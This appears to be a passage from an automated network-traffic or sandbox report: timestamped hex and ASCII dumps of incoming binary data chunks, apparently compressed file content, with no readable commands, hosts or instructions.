6d 69 53 5a fb 3c ba 49 9f 96 30 59 95 b9 24 00 8b 7b 2a 08 d6 1b 6e 51 c8 c7 55 6e c5 e0 38 7b 6b a6 1b 6e 59 7c db 72 
de a8 af 6e 5a 7a b8 52 11 40 09 15 05 ae f6 0d 0b 36 
Data Ascii: ;d,cT/:y|$.XsssC\_mo%([V\YVIru/eFOiQ[l5Y`I7,kf$a=Hm;}?z5CvGGmiSZ<I0Y${*nQUn8{knY|rnZzR@6

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 7103 IN Data Raw: ce f1 7c 1a d9 81 15 b8 d2 b6 07 34 d6 32 1a 77 ca b1 e7 60 bf 07 2f 2f 85 b4 ff 00 64 92 18 f1 72 51 8a f4 a6 
48 81 56 3d be 6f 7b e2 d5 1a 46 66 2c b6 e4 64 40 1f 8f e6 37 96 cd f7 eb 98 47 1a fe 52 dc 8b b3 05 e5 6e 5f cc c6 a4 
70 b1 e4 c7 46 7b 7a 8e dc 29 ec b6 9d eb fd dd 3d d8 3f 31 97 5c 29 24 22 1c 85 08 e2 b5 01 6b 55 b2 be 25 d0 f9 7b 6c 
9b 3c 92 e1 a5 68 c6 a8 7d c2 2f ed d6 97 c9 c7 9a 27 c3 89 99 2f 65 26 4a 56 81 7c 1e 6e f3 77 b4 7d d4 49 8d 9e ec c7 
50 2d d1 e0 6f 83 ab f0 55 3c e3 27 34 63 b3 53 fb b4 b7 37 0d 71 32 24 48 1c bc 6a ec 23 7e cb 94 1e 57 fb 5a d4 ea 20 
5a 37 02 7d 9f a7 8e aa b7 4f 4f e3 6d f0 e3 2e 24 e2 43 24 57 4a cc 7c 44 9b 15 55 6e ee ae a7 a7 58 b1 5b f2 f9 42 a1 
85 43 0e d5 3a bc 2c 25 81 5c 86 21 b8 33 0c 09 c3 97 
Data Ascii: |42w`//drQHV=o{Ff,d@7GRn_pF{z)=?1\)$"kU%{l<h}/'/e&JV|nw}IP-oU<'4cS7q2$Hj#~WZ Z7}OOm.$C$W
J|DUnX[BC:,%\!3

2022-07-01 09:01:57 UTC 7110 IN Data Raw: b9 a9 5a 0b 9b bd e6 f0 a2 e9 b0 f4 36 f3 b8 c9 73 c0 ed 92 45 48 5b 48 5a 72 db 2f 32 f4 fe d6 b4 1d 87 77 67 
30 c7 74 92 63 8b a6 88 29 b9 07 8a eb 79 7b be f6 9b 07 23 6d 2d da 4d 1b c8 17 69 17 9d 6d cb aa e5 8f b6 b9 72 49 
ec 54 dc 59 10 ad 4c a8 4d 45 05 0d 38 e8 cc 8b 92 18 51 b8 12 6e a7 d5 fa 75 53 e9 df 43 9d fd 5f a0 82 3e 88 24 bb 13 
6b 7d 09 6a dd cd a2 f7 ff 00 41 6e 87 11 73 a6 e9 47 61 01 63 35 ea 11 d8 1d bd df 73 43 69 63 f4 8f ae b9 fe 5a d0 97 
8a 46 5f 32 d8 84 1e 33 dd e6 e5 e9 ae 7d 98 8e b1 97 8d 5a d1 4a fd 1a 1b 1f 11 b2 63 79 41 a2 c6 2b 4a 76 ff 00 5f 87 
5d 54 7a 17 70 dc 30 96 18 8a 82 e2 85 78 77 a9 dd f3 6a 73 17 d1 d9 c3 12 68 c9 55 28 e5 1a a6 9c 47 7b b3 52 92 46 
c8 1d 48 60 47 11 50 7e 5c 53 11 13 09 85 ae d8 f7 1b 9b 92 
Data Ascii: Z6sEH[HZr/2wg0tc)y{#m-MimrITYLME8QnuSC_>$k}jAnsGac5sCicZF_23}ZJcyA+Jv_]Tzp0xwjshU(G{RFH`
GP~\S

2022-07-01 09:01:57 UTC 7126 IN Data Raw: 97 ee 69 33 00 24 aa 9e 62 74 5b 71 ca 82 bf 23 c9 11 bc d5 06 5b 64 9d f8 f2 ea a9 54 c4 ca c3 81 b3 44 0c 
21 1c ac c2 86 95 f8 bb ba 22 6d b6 69 16 09 25 4e 9a d2 d7 20 d6 45 14 b9 5a 41 fc 3f 72 ed 50 ef 18 bb 86 53 cd 3c c2 
ae a8 bd 68 ef 05 e9 18 8c 99 5d 2b f3 23 6b 6f b9 6f f3 6b 3c 0d e3 39 b1 e7 8e 51 29 89 f1 dd 4f 21 35 af 2a f3 53 bb d4 
6d 30 9b 68 83 64 72 b8 5c ae dc b7 c7 aa 9f 8f e4 1b 74 fc c3 27 98 aa 11 9a 3c b1 cb c6 b9 7e 1a 9c 3b 4e d9 d1 75 37 
c7 22 86 2b 25 d5 fa d5 5e 2a 5a df 67 a7 a1 76 48 71 c8 2f 95 0b ba 52 89 47 b7 8f 89 fb 1b 4f 33 93 34 63 1d b2 61 f9 
78 b2 15 48 b9 41 14 bb f1 ae 5e fb f9 ad e6 fe 1e 8b dc 36 18 70 a1 55 c6 73 24 90 5a 84 a9 b8 38 7f c3 e4 b5 5a 1e 6e 
57 ff 00 99 a9 9a 36 2a 64 6b e2 0d ec bc aa bf e9 d6 
Data Ascii: i3$bt[q#[dTD!"mi%N EZA?rPS<h]+#kook<9Q)O!5*Sm0hdr\t'<~;Nu7"+%^*ZgvHq/RGO34caxHA^6pUs$Z8Z
nW6*dk

2022-07-01 09:01:57 UTC 7142 IN Data Raw: e3 ae 2a a4 76 fd 75 0f 99 e9 ad ea 19 1a 31 87 34 f1 8e cf 60 27 de 2a dc f6 f9 b5 a7 33 d3 db 8e 5a a3 e2 6d 
73 61 64 44 2a e4 31 2a d4 ee ba 5f 73 75 6e d7 40 8b d4 53 0e c7 4f d0 c0 8f fc 35 97 ff 00 25 c8 5e d0 8d f4 10 68 34 
65 f9 96 ed 6e 04 51 dc fb ff 00 b5 50 51 09 24 f6 8b 11 51 a9 b8 6e 90 64 22 ee 38 33 cd 2a 8a 19 d8 3d c0 53 ba 15 16 
cb 7f 6b 48 7d 7d be 3e 54 50 e2 3a 74 df f1 18 18 d9 1b ca 8b f3 3b c9 ae ac 9e a4 95 09 24 13 51 c0 02 38 1d 22 de 9a 
3d f4 91 99 14 72 7d 05 94 5d f7 86 af b3 de 2c 7b 94 9a 48 40 09 e0 7f d5 6a b6 2b 63 cd d9 61 5c 4a 39 6b 4a 9a fd 5a 
eb 3f ed f6 da fb c6 d8 d8 d1 7c bf 9b 57 96 d6 26 da 77 17 a7 6f 36 83 5f 47 6d c3 83 c2 9c 7e 86 60 7f f1 d5 76 c1 27 fa 
06 38 c6 c0 5b 62 0c 5a 9d a6 a7 f4 f3 6b 5b 7f f3 
Data Ascii: *vu14`'*3ZmsadD*1*_sun@SO5%^h4enQPQ$Qnd"83*=SkH}}>TP:t;$Q8"=r}],{H@j+ca\J9kJZ?|W&wo6_Gm~
`v'8[bZk[

2022-07-01 09:01:57 UTC 7149 IN Data Raw: 43 09 d5 04 e9 5b 6d 51 1d bd 58 e2 b5 6e 89 59 3f 87 76 95 e4 ec f3 41 5c 39 4a dc c0 15 90 10 ca 53 f1 0c 
91 49 e2 4b 53 f7 34 cf 07 d3 f8 79 78 6b 91 8d 34 98 c6 9d 36 bf e6 07 b8 d8 39 63 08 f1 ad df 89 f8 9c 9a 14 53 06 ca 
37 ea bb 29 53 ee b3 d0 e6 9e 09 a3 cc f1 47 18 48 83 2c 7b e9 97 7b e1 a4 8f d0 cc 00 1e 59 d4 5b 71 60 16 d3 e6 bb 
97 97 4b 66 d9 33 31 e7 38 ce 97 ca 28 43 45 ce ae ad cc 8f 1b 27 87 be bf 63 4e 66 f4 d7 24 b1 c1 93 0c 8f 0b f3 a2 96 
ad b5 b6 f8 ef 44 46 54 ef c9 e2 d3 4d bb 73 87 26 49 76 f5 e1 04 51 9b 64 a7 31 29 fc 45 6e f2 f9 fe d6 82 a0 42 a1 f5 57 
1a 9f 00 ff 00 15 41 0e b2 0d ce d6 47 18 ff 00 1a 22 39 30 e5 ee b7 8e a6 a0 8b f2 a1 f1 72 cb 42 1a 8a fc bc c3 88 7f c3 
7b 34 e3 78 da b6 fc 30 8f 86 e6 50 c8 6a 6b d8 c2 de 
Data Ascii: C[mQXnY?vA\9JSIKS4yxk469cS7)SGH,{{Y[q`Kf318(CE'cNf$DFTMs&IvQd1)EnBWAG"90rB{4x0Pjk

2022-07-01 09:01:57 UTC 7165 IN Data Raw: c9 8f da e7 ab 33 33 65 ae ac 08 07 d1 96 35 5d bb fa 9e 43 29 31 80 e9 16 4c 68 92 10 6c a0 e1 23 f9 6e 79 
39 57 e1 d6 4b ea c8 b2 b7 5c 8c 4b 96 da 24 68 f5 e5 36 9b a6 fd ad 42 bc eb 3e 3c 5b 64 ec 62 98 a0 92 24 73 c8 0f 95 
9b cc cb e6 d6 b8 30 e5 c6 c5 92 45 25 1a 26 e7 72 3d 84 f7 59 bd ff 00 0e 86 bf 2e 87 1c 48 b3 74 af dd fc cf b9 f8 ab a4 
91 8f 0d 0b 58 7d 43 2c ab a0 6e de bf 58 32 db 17 09 04 e9 08 ac 85 3b 49 f2 a5 dc bd 35 fe 23 fd cd 34 cb f5 5e df 8f 8f 
24 f4 25 a3 21 68 17 b5 88 be d4 f3 5b e3 d7 19 cf cd 92 90 98 63 11 8a 51 a4 01 be 6b 56 f6 63 23 77 97 e1 d3 dc 53 0e 
40 9a 2e bf 4c e4 48 1d ee 21 80 23 b6 26 9b 95 ad bb ca bf 7b 4e c1 fe d6 6d d2 8f 25 79 a3 00 ba e5 84 92 2f 8f e9 e2 
a6 b6 f1 6e 37 52 11 0a 65 65 0c 53 d8 e6 e6 ae a9 
Data Ascii: 33e5]C)1Lhl#ny9WK\K$h6B><[db$s0E%&r=Y.HtX}C,nX2;I5#4^$%!h[cQkVc#wS@.LH!#&{Nm%y/n7ReeS

2022-07-01 09:01:57 UTC 7181 IN Data Raw: 01 88 56 cc f0 5e 6a b9 d5 6d da 74 ae a9 b4 82 61 c6 c5 b4 34 90 20 22 40 28 a5 4a 1e af d8 e4 47 d5 40 88 
e4 e3 ae 1d 79 19 0d 0f d6 87 53 cf b9 b6 06 44 29 65 ff 00 25 81 1d 94 bb cd ee c7 fe 1d 7b bd 66 65 e1 60 e1 65 42 e4 
32 92 64 23 8d 0b 7c d5 57 f7 79 b5 e2 a5 8d e5 75 b5 97 33 75 bf 8b 9d be 9e f5 04 11 6e 34 c7 33 13 fd 4f 13 35 a3 00 
ca f2 14 42 07 90 05 fd bd 6d da b6 9f c9 f4 a2 0c 48 88 bf 69 a9 25 bb f7 7d cd 69 d8 32 64 e9 c5 8e c2 b1 ca 4b 5c 2b 
5b aa 5d ea da 33 03 2c 48 ef 3b 70 00 50 0f d3 c5 b4 bc 86 45 0d 18 3c a0 e9 ff 00 95 5c 4f 6f e8 ad 32 6e 31 e4 f5 3a 
4e 44 b6 98 cf 1a 53 8b 48 cd ff 00 4d 74 b1 72 e3 93 05 25 ed 7c dc 8f 94 87 89 11 2b 5a cf fb 72 bf f9 92 69 44 ca 18 cd 
13 3a c2 ac d7 19 1b c2 86 fb fa 63 bc d2 3a b5 96 2e 
Data Ascii: V^jmta4 "@(JG@ySD)e%{fe`eB2d#|Wyu3un43O5BmHi%}i2dK\+[]3,H;pPE<\Oo2n1:NDSHMtr%|+ZriD:c:.

2022-07-01 09:01:57 UTC 7186 IN Data Raw: 1c 0f 0a 57 b0 dd 3b 0e a7 0b 72 56 df d0 14 da df af 76 8d c5 82 4c 76 78 cb 0e aa b3 c8 a4 7d 37 2b ad 3e 
ce b0 c0 66 c2 38 eb 0d ac 1d f9 b8 54 85 ef 3b 2f c0 bd ed 67 b7 d4 07 74 65 ea 53 94 b7 65 5a d2 cb fb ba 99 49 25 98 
5b 13 c0 55 43 10 e1 3b 6c 7e ee 14 2a 43 1a cc b1 a9 24 ce 5c 92 7d 82 95 44 fb da 2f 61 db 8a a3 64 c8 41 ac 92 35 7e 
ba 5a 3e ef 53 59 c5 87 ff 00 79 0c cb dd 8d 99 58 7d 1c 3a 89 a6 d8 d0 08 f6 e3 6f 0a 4c e4 7d fd 0a 69 ac a1 41 eb b0 3f 
7e 8a 01 20 9f 40 ff 00 b6 a7 63 ce 7c 8d ce 25 71 48 d9 e4 5a fd 21 09 e1 fb 3a df b8 c7 3b 44 c3 80 8e 59 04 a4 9e f5 b5 
40 ff 00 66 fe 5d 6e 1b 5c 9b 76 41 15 ba 00 5e 60 4d 3b c4 32 59 f6 2e fd 9d 7b bd 46 99 18 f1 4a 58 dc 23 11 05 1e db 
80 67 fd 4f d7 d5 b3 53 22 61 6c 6d c6 ab a8 52 06 
Data Ascii: W;rVvLvx}7+>f8T;/gteSeZI%[UC;l~*C$\}D/adA5~Z>SYyX}:oL}iA?~ @c|%qHZ!:;DY@f]n\vA^`M;2Y.{FJ
X#gOS"almR

2022-07-01 09:01:57 UTC 7202 IN Data Raw: c6 2e 14 63 ec 40 a4 7e d6 bb cb 0a 75 8b 51 c2 dc d5 d7 a0 57 3f 20 71 a1 53 ed 35 14 fe dd 65 0c 8f 90 d6 
aa b1 34 fa 09 3a 31 f7 1d be 48 fa 65 2a 09 ab 0b 41 ec d0 6f 9b 0b 54 e3 a0 43 c3 89 1f fd ed 14 5c f0 42 a6 bb ea a7 
30 ed b9 ae a1 18 80 87 8d 19 7b 0d 3e d6 80 c8 8a 7a 13 30 42 29 40 ac 07 dd ae 86 7d c6 70 4a a3 b1 52 3b 18 f1 d0 
8b 36 4c 8d 45 ab 8a f6 9f a7 50 91 bf 13 88 fd 15 c3 41 5b 24 28 ed 7c 6a a0 0f 62 9a 7d eb 6d bb 58 bc 97 9b 8f b0 52 
bf 56 b5 48 f2 54 89 14 87 ec d6 a1 1d d4 00 d0 76 f1 d3 01 6b 8b 7a 68 89 24 01 83 29 60 6b ec 27 b4 7c 3a ca 37 32 49 
74 f4 70 40 a5 5b 88 20 fd 2d a1 e4 2c 9f 86 c9 21 3e d5 6b 87 f8 75 f0 bb da 2b c3 88 ed d1 24 85 e2 38 48 0a 37 85 b9 
5a a0 37 68 34 5a e4 3c 2d 58 41 55 24 fb 6b 41 fd 7a de 9b 
Data Ascii: .c@~uQW? qS5e4:1He*AoTC\B0{>z0B)@}pJR;6LEPA[$(|jb}mXRVHTvkzh$)`k'|:72Itp@[ -,!>ku+$8H7Z7h4Z<-
XAU$kAz

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 7218 IN Data Raw: 07 b8 9c 6d d2 66 8b 27 14 e1 ce 7f 15 18 32 a9 7e f5 6f 8d b9 2e ef 7e 0a 2f bf a4 7b e3 61 6d 19 f2 24 d7 4e 
03 1b 15 bb ed ff 00 3a 46 e6 e9 a3 78 ae be 4f 05 bd ed 1c 7d 48 de a7 99 20 9c 24 33 aa 14 c7 60 38 54 0e 48 24 bb e6 
48 8d 6f 23 34 9c 8f ab 94 43 b6 0d 19 75 0a 03 ae 9c 7c 58 fb bd fa 34 85 de c0 73 37 a2 fc 3d d7 fd 4a dd d0 c7 d9 d9 
25 92 65 8c 54 54 13 7d be da fc ab 9d d7 f5 ee e5 6d 6a dd 37 f4 44 59 25 05 a7 9c 92 02 d0 71 ad d7 71 f7 9f 51 7b 9a 
e5 e3 e4 37 fa 87 0b 56 f5 a7 74 8f 0b 25 34 5e e1 31 26 19 d8 70 8a 3b e9 f5 b7 87 5c 36 6a 4a 33 b6 64 df 98 70 f6 56 
b8 5f 87 f7 56 f9 f3 64 fa 6b d3 e1 5f a7 4c f6 d6 ae 04 90 05 26 66 93 a9 75 7c 16 b5 c9 4f 8b 9b ec 79 b4 ab 30 a3 22 b4 
5c 63 91 6e 43 f5 1f de 56 e5 6d 16 0c df 91 92 48 
Data Ascii: mf'2~o.~/{am$N:FxO}H $3`8TH$Ho#4Cu|X4s7=J%eTT}mj7DY%qqQ{7Vt%4^1&p;\6jJ3dpV_Vdk_L&fu|Oy0"
\cnCVmH

2022-07-01 09:01:57 UTC 7226 IN Data Raw: 11 18 e2 53 d3 ef 57 ff d5 e9 b1 65 09 63 b4 10 25 3c ad fa 40 bb f6 75 89 4b 40 60 b7 c4 8c 18 7d 22 bc a6 
eb bc 0b 1b 69 4e 0c 02 39 9d 72 1d 5a 20 58 43 14 47 87 31 e7 93 25 5f bf 37 77 c7 a6 30 e7 63 36 42 e2 28 61 2d aa 
68 47 02 29 6a f7 b9 1b e1 4e 7d 7c 7d e2 09 d1 cc 2d 91 b7 76 b4 b4 ec e3 58 44 d0 4f 2b 04 04 3d f6 b0 20 7b 39 8d 3f 
a7 83 42 49 84 31 67 79 52 4a 1b 81 2a c6 82 a7 9a 3b 4d bf 31 9f bb 67 9f 4d 0e d9 13 64 8c c2 1a f5 a8 01 78 0e 22 8d 
77 9b dc d6 d9 33 31 a2 fc 43 c4 b2 aa dd ed 27 b9 67 87 50 24 d6 d1 82 d7 1c cb 5c 3f bf b6 91 4d bc e2 c4 1c 4e 8d 02 
c6 a6 95 14 25 eb cf d3 fe 65 9f d3 c5 a2 0c cf 9b 14 0f 8a 2f 46 f9 b5 3c 05 1b 95 62 7f 12 bb 5d f6 2d d7 9b c1 c1 9a 9b 
84 f1 1c 83 8c c7 a6 2a 78 35 42 dc a9 e3 b5 a3 f8 75 b7 
Data Ascii: SWec%<@uK@`}"iN9rZ XCG1%_7w0c6B(a-hG)jN}|}-vXDO+= {9?BI1gyRJ*;M1gMdx"w31C'gP$\?MN%e/F<b]
-*x5Bu

2022-07-01 09:01:57 UTC 7242 IN Data Raw: 0d 68 99 0c ce 01 e3 c3 b7 59 a0 30 a3 20 b8 28 3f 4f 0b 9b 85 ca ba c8 1b 24 15 e6 14 a1 03 81 a9 d6 cc a0 
d1 87 59 a8 1d bb bc 7f 5b de d1 1c ea 07 61 ec a9 20 71 a1 8c ef 21 20 37 03 ec fd 3a 33 0b a7 14 66 49 14 14 e3 db 4a 
12 38 d1 b8 ae 82 c7 ba 32 1d 39 4a b5 39 85 75 88 0b 23 d2 42 6c 1d b4 e3 a1 15 06 eb d9 db 51 7a dc 1e c8 65 02 85 
19 4a 9e 1d b5 6e 5e f7 71 b4 7e 32 b3 63 c6 23 6e 2b 1d ad 51 d8 0f 7b e2 5f d7 d0 71 c8 8e a8 c6 a1 10 90 40 02 a4 12 
bd 26 fb 36 eb 44 f9 0e d9 01 91 98 a8 1c 2a 7e d7 bb ae 2b 9f 4e 96 25 b5 a8 06 d4 68 85 de 31 c6 e0 94 01 78 0e df 31 
fd 9d 79 80 92 44 cd 90 47 05 a9 8c b0 e0 4f b5 95 5b 5a 57 74 71 09 81 79 55 8d 5e 9d a7 c5 fa be 1d 1d 83 b9 29 6e 6e 
d5 5e 0c dc 78 d2 de 7f dd d0 9b 30 a6 e3 43 d9 ea ab dc 5e 
Data Ascii: hY0 (?O$Y[a q! 7:3fIJ829J9u#BlQzeJn^q~2c#n+Q{_q@&6D*~+N%h1x1yDGO[ZWtqyU^)nn^x0C^

2022-07-01 09:01:57 UTC 7258 IN Data Raw: 7e 68 19 41 5b 00 2c 2d 20 f6 8f 64 97 73 24 76 fe b7 82 dd 78 d9 53 4a a6 49 6c 35 e2 b6 51 55 40 15 fc 45 
b6 49 39 63 f1 5f cd a1 77 bd a3 23 33 14 62 c2 03 ab 90 c5 c1 e6 b4 15 2c 8b f6 6e 8f 5a 3f d2 72 84 a9 0e 03 20 8e da 
ca e7 b3 f9 69 62 db cd 2d 91 df 2f 83 c5 e6 d1 91 21 c0 10 55 5b 5b df d0 2a 9c c6 e2 d4 64 d9 f9 25 01 c6 21 d1 14 1b 
90 76 03 dd 47 f8 6d 5b 35 a6 09 66 ce 91 fa aa 13 82 dc 24 1d a0 f7 7d f6 d1 f1 6d 86 cb 62 2a b0 8a 5c cb 45 a9 ef 3f 
2b dd cb e3 4f e2 27 dd 4d 66 b0 47 69 6e fd 40 b4 13 69 f7 2e 63 f6 79 5f bd aa 79 91 80 42 81 7f 4f 7a b8 c6 dc 4f 0a d1 
f9 8c 87 0f 8a d4 ea 22 a8 8d 3b a2 a4 73 71 e5 e4 b7 b9 a0 5f 70 96 27 48 6d 6b 82 dc c5 ab cb 41 ce be 2b 99 59 ee fd 
7f 7b 44 e4 c4 d2 e5 46 c1 0c 99 0a 82 40 d5 22 95 f2 
Data Ascii: ~hA[,- ds$vxSJIl5QU@EI9c_w#3b,nZ?r ib-/!U[[*d%!vGm[5f$}mb*\E?+O'MfGin@i.cy_yBOzO";sq_p'H
mkA+Y{DF@"

2022-07-01 09:01:57 UTC 7265 IN Data Raw: fa bc ba 67 ea 68 b6 fd b7 79 93 f2 01 16 19 11 5e a8 f7 2d 7f 77 e1 d7 9b 18 93 d2 a9 2b 7c a3 96 dc 43 94 
69 2c 5e c6 6e 5b 63 fd df e6 69 9e 76 f7 87 b8 43 d4 cc 8d 72 72 1a 31 56 7a 90 18 06 8d 3a 31 72 74 53 9a fb 2e f8 93 
b9 a0 6d be 59 f3 19 3e 60 25 b7 95 0c 69 65 12 36 39 b7 56 7e 5d 67 c3 bd dd cf bd 49 70 6c 14 31 0a ff 00 96 be 1c aa 
66 29 cd 4c be c2 7b 7d 9a 08 4a df 96 2c 6a 79 a8 e3 cc 3d ed 31 69 52 3c 65 52 68 6d b5 aa 7d a3 bb db ee b5 ba 99 
9d c9 e0 18 d2 be cd 6d ff 00 4e fb 65 0a 5f 3b dd 88 f4 33 d6 ae f7 77 ca a5 d7 5c 58 5a f4 f6 1c d0 f3 16 55 a4 65 54 16 
3c 00 d1 a3 26 18 c1 76 e7 5f 6d 0d 2a 35 2b d6 99 01 62 e1 c5 6b 42 38 fd ed 64 72 1e 41 55 3d 9e cd 36 9b af 2d 48 b6 
bc 40 f4 52 69 bf 25 4a b0 f4 e9 54 59 bb 95 a8 7a 3c ac 
Data Ascii: ghy^-w+|Ci,^n[civCrr1Vz:1rtS.mY>`%ie69V~]gIpl1f)L{}J,jy=1iR<eRhm}mNe_;3w\XZUeT<&v_m*5+bk
B8drAU=6-H@Ri%JTYz<

2022-07-01 09:01:57 UTC 7281 IN Data Raw: 92 1c 80 54 63 c6 18 44 40 3d cb a3 7f 96 f1 4b cd e4 e5 f8 b5 bf 33 d5 32 66 4e b8 33 99 16 e5 1c 11 43 10 
dc fd 49 7a b5 49 2c fb cd a4 59 ca ed 19 cb c3 f9 99 71 00 82 80 9b d0 b7 de 66 8d ae 68 fe 37 f7 75 84 9b d4 be 9b 9e 
37 b5 3f 37 1b 03 90 80 df 19 41 fc 1f 0f e1 bb f9 bf 16 ff 00 0d 9a 43 e6 3f ed b9 36 b2 c9 82 87 8e 25 ce 37 63 8d f2 f0 
d2 fb bd 94 bb 59 1d 24 e8 5d 43 f8 d5 ba 2a f2 69 a6 c9 fc ae 1b db 72 13 25 af 50 18 52 fe 61 fc c5 ff 00 cd a7 b8 38 38 
a8 25 8c 22 16 49 fa aa 94 e1 19 e1 d2 b1 7c bd eb bd ed 73 e6 f5 7e 16 e2 ff 00 9e 81 e6 59 11 8d 11 95 4a 80 45 ed 6f 
33 3d bc bf 8a cd cb dc d6 5b 1e e9 9b b7 cd 95 33 12 d0 bf 16 00 b1 21 80 8d 9f be bf 8a fd 5b ba 3c bd 3b 39 3b da f2 
72 6c 26 31 9f e5 95 17 c3 a7 27 67 a5 91 8f f6 76 
Data Ascii: TcD@=K32fN3CIzI,Yqfh7u7?7AC?6%7cY$]C*ir%PRa88%"I|s~YJEo3=[3![<;9;rl&1'gv

2022-07-01 09:01:57 UTC 7297 IN Data Raw: 9b 5c a0 ca d8 2f 60 24 7a cd 2d 36 e1 9e 3c 63 37 3a e2 29 5e 0e 3e 5e 62 f5 63 5b 52 b4 b9 8d a3 fe 3a d8 
36 7c f8 59 a6 54 20 2d 4d e0 82 29 e2 64 65 3c df 67 54 19 61 65 ab 00 05 69 68 02 81 40 e5 5e 5f 87 5a 23 8b a6 e8 e4 
f0 60 6b fd ba d1 1b 0d 05 d8 de ae bb 6d c3 28 2f a9 a5 19 31 36 5d 2c a2 4e 9d b1 50 8a 9e f3 59 77 ff 00 66 da d5 b5 
86 c9 ca 48 e9 e2 e6 fa 87 8b 54 79 b2 63 e4 b9 69 50 49 2d b6 ab f1 af d5 dd 6e 67 5f 06 94 e5 24 b8 b1 54 ce 24 91 cd 
59 50 10 01 ef 73 b5 16 f7 75 b3 54 96 23 1b 02 df 77 d0 bf 86 a2 48 e4 16 ca e0 b6 87 e1 a6 db 8c 29 b9 49 6c 24 23 54 
f0 63 f4 77 79 57 ee eb e3 83 f9 d8 a3 c5 6b 06 42 ad 95 af 02 01 e4 91 ff 00 e5 fe 1b db e1 b3 53 b8 f9 cd 0b de 78 fd 3a 
a3 53 26 3a a4 b2 8a 17 a5 41 e3 40 c3 ba cb e7 b7 bf 
Data Ascii: \/`$z-6<c7:)^>^bc[R:6|YT -M)de<gTaeih@^_Z#`km(/16],NPYwfHTyciPI-ng_$T$YPsuT#wH)Il$#TcwyW
kBSx:S&:A@

2022-07-01 09:01:57 UTC 7305 IN Data Raw: bb ac 3d a3 cd a3 47 b3 85 50 2f 7b c7 54 db ec 4c 2b e5 83 6b 9d 0f a6 9d 62 63 a6 d5 0f e5 18 50 05 34 65 
14 32 13 fc 47 6e f7 d9 d6 58 73 c8 15 28 c5 81 26 8a 4f 28 3d d5 6a 68 50 f2 b2 aa 4c 4b 5a 39 49 ed a7 d7 ad 4e ed 8a 
84 28 e7 e2 54 fb 07 f8 b4 ea 22 20 02 da 0e 35 e8 a1 da 43 0c 43 30 0d f8 fb 54 cf 2b 67 db b1 52 64 35 ea ba 8b 61 3c 
15 4b 7f 1d 64 5f 0c 7f c3 8f c3 e3 bb 50 32 91 14 ad d4 4e 70 dc 29 ed 35 ef 69 e0 91 e4 9d 64 95 cb 49 5a 12 4f 1a 69 
56 74 ca d7 ba 8e 31 b9 23 e1 27 9b fb da c4 f9 94 51 ba 06 4e a1 70 7d 62 bc ff 00 cd 7e 5e 8d 07 9a 82 d2 26 5c 4f 52 
f8 68 7c 8c 88 9a 33 23 1b 4d 79 45 38 93 fd db 75 57 e9 89 24 48 0b 46 79 8d 4d 0f bc 2d 66 fb 2b a8 36 94 1a 81 47 56 
20 80 78 81 f1 77 7e 1d 3e c0 ca 9a 3c 68 d5 18 ad 05 38 
Data Ascii: =GP/{TL+kbcP4e2GnXs(&O(=jhPLKZ9IN(T" 5CC0T+gRd5a<Kd_P2Np)5idIZOiVt1#'QNp}b~^&\ORh|3#MyE8
uW$HFyM-f+6GV xw~><h8

2022-07-01 09:01:57 UTC 7321 IN Data Raw: d9 58 4b bb e3 02 05 aa 2a 50 8e 36 1f 10 4f 72 ee f4 7f 6b bd ad 89 63 c2 e6 10 01 1d 4b e2 af 5a bb 55 4f 31 
76 cb 88 b5 a4 8b 4c 24 c7 c3 4a b2 e1 9e 34 e2 b5 a0 24 91 c7 85 7b f4 d6 50 63 c9 24 6b 6d 0b ad 49 a9 02 da 5b 41 
c7 bc da 1a 49 72 31 e7 e9 49 ca e0 1e 3f 57 6d de f2 eb ec 8d c7 af d3 1d da 25 a4 0f d3 aa 2c c8 49 37 20 70 b5 01 80 
53 60 78 7a 79 75 a6 71 c6 b0 d5 9e 45 af 7a 8b f5 eb e9 22 8e 42 72 15 bb a7 88 fa 78 70 5d 28 c6 73 7a a9 3c b5 a1 d3 
6c c5 18 e8 b0 0e f2 d6 ea 7d 27 4d 24 8a 63 b8 d3 1a 2c 60 b9 fa bf ba b5 62 67 00 c6 39 d0 35 7b a4 54 10 6b a0 77 2c 
9e 9e 48 9d 5a d7 b2 af 4f bb fa da d6 b2 59 2a b7 d0 6b ad 4f d1 12 3a e4 73 24 ac 63 63 4e 23 c5 1c 91 fb df b5 dc d6 
5e e7 73 94 78 b6 a7 2b a9 a5 7e 61 b9 fe 9e 00 e3 af 3c 
Data Ascii: XK*P6OrkcKZUO1vL$J4${Pc$kmI[AIr1I?Wm%,I7 pS`xzyuqEz"Brxp](sz<l}'M$c,`bg95{Tkw,HZOY*kO:s$
ccN#^sx+~a<

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 7337 IN Data Raw: 71 ba 2a 61 c0 24 03 9c 28 a5 7e 92 79 75 13 ce 5e 45 06 ec 4f 1b f6 b5 55 10 2c 6d 6d 39 78 d4 ee 13 63 64 
e5 4d 1e 4a 97 e9 47 f2 f8 f0 0d 55 ed 1e 25 b6 fd 18 d9 13 43 88 e9 09 b4 b4 66 ef 80 95 ba 9f ab a9 dc 24 92 1c 8c 83 
5a f3 05 e3 ed d1 f9 19 2e 66 bc 9a 12 85 7f ab 46 92 2e 70 01 b8 d0 d8 d7 2f 4e b4 46 df 11 b1 56 b6 ac a6 c5 1f 4d 39 
d9 be f7 cb d6 4b 0c bb b6 3e 51 dc 1d 9a 54 54 0c 57 bd 48 f9 5a de 16 bd 88 9d df 15 8f ad 33 e5 33 cd 12 e3 48 b0 b4 
2a a8 92 3d 2d 56 fe 63 fb b7 e8 ad a6 53 85 89 d7 92 41 d6 12 87 e3 c4 b0 02 45 7b 7c d7 bb db f6 b5 47 0c 17 cc 1d 44 
ae 3e 2e af f0 d4 c6 07 4f f6 9e ca b1 18 ca be 8f 48 87 10 98 d7 03 f6 ae bb 53 90 87 5c 48 fa e7 89 17 b9 3f a3 92 bf 0a 
5b ab 52 83 17 66 18 b9 6b 63 1c 78 d6 c3 f4 b1 63 66 
Data Ascii: q*a$(~yu^EOU,mm9xcdMJGU%Cf$Z.fF.p/NFVM9K>QTTWHZ33H*=-VcSAE{|GD>.OHS\H?[Rfkcxcf

2022-07-01 09:01:57 UTC 7345 IN Data Raw: 93 f8 be 4e 4f 36 9b fa 7f 33 10 34 98 85 02 f5 a2 26 d2 6a 2a 01 b2 df 8f cb a6 cf 84 db 6f a6 a4 97 0e 12 cf 
